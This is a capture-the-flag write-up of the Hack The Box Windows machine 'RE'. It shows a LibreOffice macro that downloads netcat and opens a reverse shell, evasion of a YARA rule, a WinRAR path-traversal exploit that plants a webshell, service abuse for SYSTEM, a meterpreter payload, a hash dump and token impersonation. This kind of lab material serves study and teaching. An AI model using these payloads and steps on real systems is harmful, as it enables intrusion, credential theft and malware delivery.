RE - Hack The Box
I had fun solving RE but I did it using an unintended path. After getting a shell with a macroed .ods file, I saw that the Winrar version had a CVE which allowed me to drop a webshell in the webserver path and get RCE as iis apppool\re
. The user had access to modify the UsoSvc service running with SYSTEM privileges so it was trivial at that point to get a SYSTEM shell. Because the root flag was encrypted for user Coby, I used meterpreter to impersonate his token and read the file.
Summary
- Find the blog site and the hints related to malware and yara rules
- Craft a malicious .ods file with a macro that downloads and executes netcat when the document is opened
- Upload the file through the SMB share and gain a shell as user Luke
- Exploit CVE-2018-20253 to write an aspx webshell into one of the webserver directories
- Get a shell with the aspx as user
iis apppool\re
- Reconfigure the UsoSvc service to spawn another netcat and get a shell as SYSTEM
- Upload a meterpreter, impersonate user Coby and read the final flag
Initial recon
Portscan
# nmap -sC -sV -p- 10.10.10.144
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-29 16:06 EST
Nmap scan report for re.htb (10.10.10.144)
Host is up (0.019s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ghidra Dropbox Coming Soon!
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 45s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-01-29T21:09:29
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.37 seconds
SMB share
I have access to the malware_dropbox
SMB share with read-only privileges:
# smbmap -u invalid -H 10.10.10.144
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.144...
[+] IP: 10.10.10.144:445 Name: re.htb
Disk Permissions
---- -----------
IPC$ READ ONLY
malware_dropbox READ ONLY
However the directory is empty:
# smbclient -U invalid //10.10.10.144/malware_dropbox
Enter WORKGROUP\invalid's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jul 22 20:18:47 2019
.. D 0 Mon Jul 22 20:18:47 2019
8247551 blocks of size 4096. 4323774 blocks available
Website enumeration: re.htb
The re.htb
site is incomplete;
The HTML source contains a hint about a Ghidra project directory structure. The title of the page is Ghidra Dropbox Coming Soon!
so it’s probably some kind of site where we can upload malware to be analyzed.
<!--future capability
<p> To upload Ghidra project:
<ol>
<li> exe should be at project root.Directory stucture should look something like:
<code><pre>
| vulnerserver.gpr
| vulnserver.exe
\---vulnerserver.rep
| project.prp
| projectState
|
+---idata
| | ~index.bak
| | ~index.dat
| |
| \---00
| | 00000000.prp
| |
| \---~00000000.db
| db.2.gbf
| db.3.gbf
|
+---user
| ~index.dat
|
\---versioned
~index.bak
~index.dat
</pre></code>
</li>
<li>Add entire directory into zip archive.</li>
<li> Upload zip here:</li>
</ol> -->
Website enumeration: 10.10.10.144
The IP website redirects to reblog.htb
so I’ll add that domain to my local hostfile.
<meta http-equiv = "refresh" content = "2; url = http://reblog.htb" />
Website enumeration: reblog.htb
After adding reblog.htb
to my /etc/hosts
, the redirect works and I can load the blog page.
Based on the HTML source code, I see the blog page is built using Jekyll, a popular static website generator.
<meta name="viewport" content="width=device-width, initial-scale=1"><!-- Begin Jekyll SEO tag v2.5.0 -->
<title>Automation and Accounts on Analysis Box | RE Blog</title>
<meta name="generator" content="Jekyll v3.8.5" />
The blog contains a bunch of useful info, including some potential hints about what we need to do.
The .ods
file extension is used by LibreOffice Calc and this seems to be a hint that I need to use this file format for my payload. One blog post says that malware samples dropped on the share will automatically be executed, but as a low privilege user. This is likely the first step to get a foothold on the box. The blog posts link to 0xdf’s blog post about Yara rules. The example shown on the blog blacklists the following Subs:
- Sub OnLoad
- Sub Exploit
Because I can assign any macro to the Open Document event, I can use Run_at_open
(or any name for that matter) instead of OnLoad
for the function name and it won’t be caught by the YARA rule.
I created a sales.ods
file with the following macro using certutil
to download netcat and execute it.
Sub Run_at_open
Shell("certutil.exe -urlcache -split -f 'http://10.10.16.9/nc.exe' C:\Windows\System32\spool\drivers\color\nc.exe")
Shell("C:\Windows\System32\spool\drivers\color\nc.exe 10.10.16.9 4444 -e cmd.exe")
End Sub
The macro needs to be assigned to the Open Document
Event as follows:
I now have a shell as Luke
and can read the user flag:
C:\Users\luke\Desktop>whoami
whoami
re\luke
C:\Users\luke\Desktop>type user.txt
type user.txt
FE41736...
Privilege escalation to SYSTEM the unintended way
There’s two other users: cam
and coby
:
C:\Users\luke\Desktop>net users
User accounts for \\RE
-------------------------------------------------------------------------------
Administrator cam coby
DefaultAccount Guest luke
WDAGUtilityAccount
The command completed successfully.
Cam doesn’t have additonal privileges but Coby is a local admin:
C:\Users\luke\Desktop>net user cam
[...]
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\Users\luke\Desktop>net users coby
[...]
Local Group Memberships *Administrators *Remote Management Use
*Users
Global Group memberships *None
The command completed successfully.
Luke’s document directory contains the script process_samples.ps1
that automatically processes the malware samples uploaded to the share.
Directory of C:\Users\luke\Documents
06/18/2019 02:05 PM <DIR> .
06/18/2019 02:05 PM <DIR> ..
07/22/2019 06:31 PM <DIR> malware_dropbox
07/22/2019 06:32 PM <DIR> malware_process
07/22/2019 06:32 PM <DIR> ods
06/18/2019 10:30 PM 1,096 ods.yara
06/18/2019 10:33 PM 1,783 process_samples.ps1
03/13/2019 06:47 PM 1,485,312 yara64.exe
As suspected, the ods.yara
file only contains the examples from the blog post and that’s why the Run_at_open
method worked.
[...]
$getos = "select case getGUIType" nocase wide ascii
$getext = "select case GetOS" nocase wide ascii
$func1 = "Sub OnLoad" nocase wide ascii
$func2 = "Sub Exploit" nocase wide ascii
$func3 = "Function GetOS() as string" nocase wide ascii
$func4 = "Function GetExtName() as string" nocase wide ascii
[...]
The process_samples.ps1
script that processes malware samples is shown below:
$process_dir = "C:\Users\luke\Documents\malware_process"
$files_to_analyze = "C:\Users\luke\Documents\ods"
$yara = "C:\Users\luke\Documents\yara64.exe"
$rule = "C:\Users\luke\Documents\ods.yara"
while($true) {
# Get new samples
move C:\Users\luke\Documents\malware_dropbox\* $process_dir
# copy each ods to zip file
Get-ChildItem $process_dir -Filter *.ods |
Copy-Item -Destination {$_.fullname -replace ".ods", ".zip"}
Get-ChildItem $process_dir -Filter *.zip | ForEach-Object {
# unzip archive to get access to content
$unzipdir = Join-Path $_.directory $_.Basename
New-Item -Force -ItemType directory -Path $unzipdir | Out-Null
Expand-Archive $_.fullname -Force -ErrorAction SilentlyContinue -DestinationPath $unzipdir
# yara to look for known malware
$yara_out = & $yara -r $rule $unzipdir
$ods_name = $_.fullname -replace ".zip", ".ods"
if ($yara_out.length -gt 0) {
Remove-Item $ods_name
}
}
# if any ods files left, make sure they launch, and then archive:
$files = ls $process_dir\*.ods
if ( $files.length -gt 0) {
# launch ods files
Invoke-Item "C:\Users\luke\Documents\malware_process\*.ods"
Start-Sleep -s 5
# kill open office, sleep
Stop-Process -Name soffice*
Start-Sleep -s 5
#& 'C:\Program Files (x86)\WinRAR\Rar.exe' a -ep $process_dir\temp.rar $process_dir\*.ods 2>&1 | Out-Null
Compress-Archive -Path "$process_dir\*.ods" -DestinationPath "$process_dir\temp.zip"
$hash = (Get-FileHash -Algorithm MD5 $process_dir\temp.zip).hash
# Upstream processing may expect rars. Rename to .rar
Move-Item -Force -Path $process_dir\temp.zip -Destination $files_to_analyze\$hash.rar
}
Remove-Item -Recurse -force -Path $process_dir\*
Start-Sleep -s 5
}
If I understand this correctly:
- The contents of the
malware_dropbox
share are moved toC:\Users\luke\Documents\malware_process
- The .ods files are renamed to .zip
- The .zip file is extracted and the contents processes by the Yara rules with
yara64.exe
- If the file matches a Yara rule, it gets deleted
- Anything left gets executed with LibreOffice
- The files are repackaged in a .rar file and moved to
C:\Users\luke\Documents\ods
for further processing
The .rar reference is a subtle hint. When I look at the Downloads directory I see that an old WinRAR version was downloaded:
03/13/2019 06:45 PM 298,860,544 LibreOffice_6.2.1_Win_x64.msi
03/14/2019 05:13 AM 3,809,704 npp.7.6.4.Installer.x64.exe
03/15/2019 10:22 AM 1,987,544 winrar-5-50-beta-1-x86.exe
There’s a CVE-2018-20253
that impacts all versions prior to and including 5.60. When the filename field is manipulated with specific patterns, the destination folder is ignored and the filename is treated as an absolute path. So basically an attacker can write anywhere on the target host when the file is unpacked, not just the directory where’s it’s extracted. This vulnerability is similar to the zipslip vulnerability.
The first thing I’ll try it to get the hash of the user extracting the .rar files:
# python3 /opt/Evil-WinRAR-Gen/evilWinRAR.py -e evil.txt -g good.txt -p '\\10.10.16.9\snowscan\gimmehashes'
_ _ __ ___ ___ _ ___
_____ _(_) | \ \ / (_)_ _ | _ \ /_\ | _ \
/ -_) V / | | \ \/\/ /| | ' \| / / _ \| /
\___|\_/|_|_| \_/\_/ |_|_||_|_|_\/_/ \_\_|_\
by @manulqwerty
----------------------------------------------------------------------
[+] Evil archive generated successfully: evil.rar
[+] Evil path: \\10.10.16.9\snowscan\gimmehashes
The .rar file will try to extract to an SMB on my system and I’ll use responder to get the NetNTLMv2 hash of the user.
I tried cracking Cam’s NTLMv2 hash but I wasn’t able to crack it with rockyou.txt.
When I check the web directory, I see that Cam has write access:
C:\inetpub>icacls wwwroot
wwwroot RE\coby:(OI)(CI)(RX,W)
RE\cam:(OI)(CI)(RX,W)
BUILTIN\IIS_IUSRS:(OI)(CI)(RX)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
I can place a webshell in the directory using the same Winrar exploit:
And now I have RCE as iis apppool\re
I’ll pop another shell with netcat:
# nc -lvnp 5555
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.144.
Ncat: Connection from 10.10.10.144:60328.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
iis apppool\re
c:\windows\system32\inetsrv>
Then use PowerUp from Powersploit to look for privesc vectors:
c:\ProgramData>certutil -urlcache -f http://10.10.16.9/PowerUp.ps1 powerup.ps1
**** Online ****
CertUtil: -URLCache command completed successfully.
c:\ProgramData>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\ProgramData> import-module .\powerup.ps1
PS C:\ProgramData> invoke-allchecks
[...]
ServiceName : UsoSvc
Path : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart : True
I have write access to the UsoSvc
service so I can change the BinPath and execute anything I want as SYSTEM. The default Invoke-ServiceAbuse
parameters will simply add a new user with local admin rights.
PS C:\ProgramData> Invoke-ServiceAbuse -Name 'UsoSvc'
ServiceAbused Command
------------- -------
UsoSvc net user john Password123! /add && net localgroup Administrators john /add
Instead I can pop a reverse shell using netcat I uploaded earlier.
PS C:\ProgramData> Invoke-ServiceAbuse -Name 'UsoSvc' -command 'C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.16.9 8888'
I have SYSTEM but I can’t read the flag:
C:\Users\Administrator\Desktop>icacls root.txt
root.txt NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
RE\Administrator:(I)(F)
RE\coby:(I)(F)
Successfully processed 1 files; Failed processing 0 files
C:\Users\Administrator\Desktop>type root.txt
type root.txt
Access is denied.
I also lose my shell after a few seconds because the process doesn’t respond to the service manager so it gets terminated.
I’m going to drop a Meterpreter payload on the box, run it as SYSTEM and quickly migrate to a new process so I don’t lose the shell:
# msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o met.exe LHOST=10.10.16.9 LPORT=4444
C:\Windows\System32\spool\drivers\color>certutil -urlcache -f http://10.10.16.9/met.exe met.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
Got a stable shell now, let’s dump the hashes first:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:caf97bbc4c410103485a3cf950496493:::
cam:1002:aad3b435b51404eeaad3b435b51404ee:1916525df2db99ef56a75152807da93d:::
coby:1000:aad3b435b51404eeaad3b435b51404ee:fa88e03e41fdf7b707979c50d57c06cf:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
john:1003:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
luke:1001:aad3b435b51404eeaad3b435b51404ee:3670611a3c1a68757854520547ab5f24:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:275fb2a3ea8b2433976482b69b94497b:::
I can’t read root.txt
because it’s encrypted for Coby:
C:\Users\Administrator\Desktop>cipher /c root.txt
Listing C:\Users\Administrator\Desktop\
New files added to this directory will not be encrypted.
E root.txt
Compatibility Level:
Windows XP/Server 2003
Users who can decrypt:
RE\Administrator [Administrator(Administrator@RE)]
Certificate thumbprint: E088 5900 BE20 19BE 6224 E5DE 3D97 E3B4 FD91 C95D
coby(coby@RE)
Certificate thumbprint: 415E E454 C45D 576D 59C9 A0C3 9F87 C010 5A82 87E0
No recovery certificate found.
Key Information:
Algorithm: AES
Key Length: 256
Key Entropy: 256
I’ll do it the easy and just impersonate Coby since I have SYSTEM access.
meterpreter > load incognito
[-] The 'incognito' extension has already been loaded.
meterpreter > list_tokens -u coby
Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
IIS APPPOOL\re
IIS APPPOOL\REblog
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
RE\cam
RE\coby
RE\luke
Window Manager\DWM-1
Impersonation Tokens Available
========================================
IIS APPPOOL\ip
meterpreter > impersonate_token RE\\coby
[+] Delegation token available
[+] Successfully impersonated user RE\coby
And I can now read the flag:
meterpreter > shell
Process 3760 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
1B4FB90...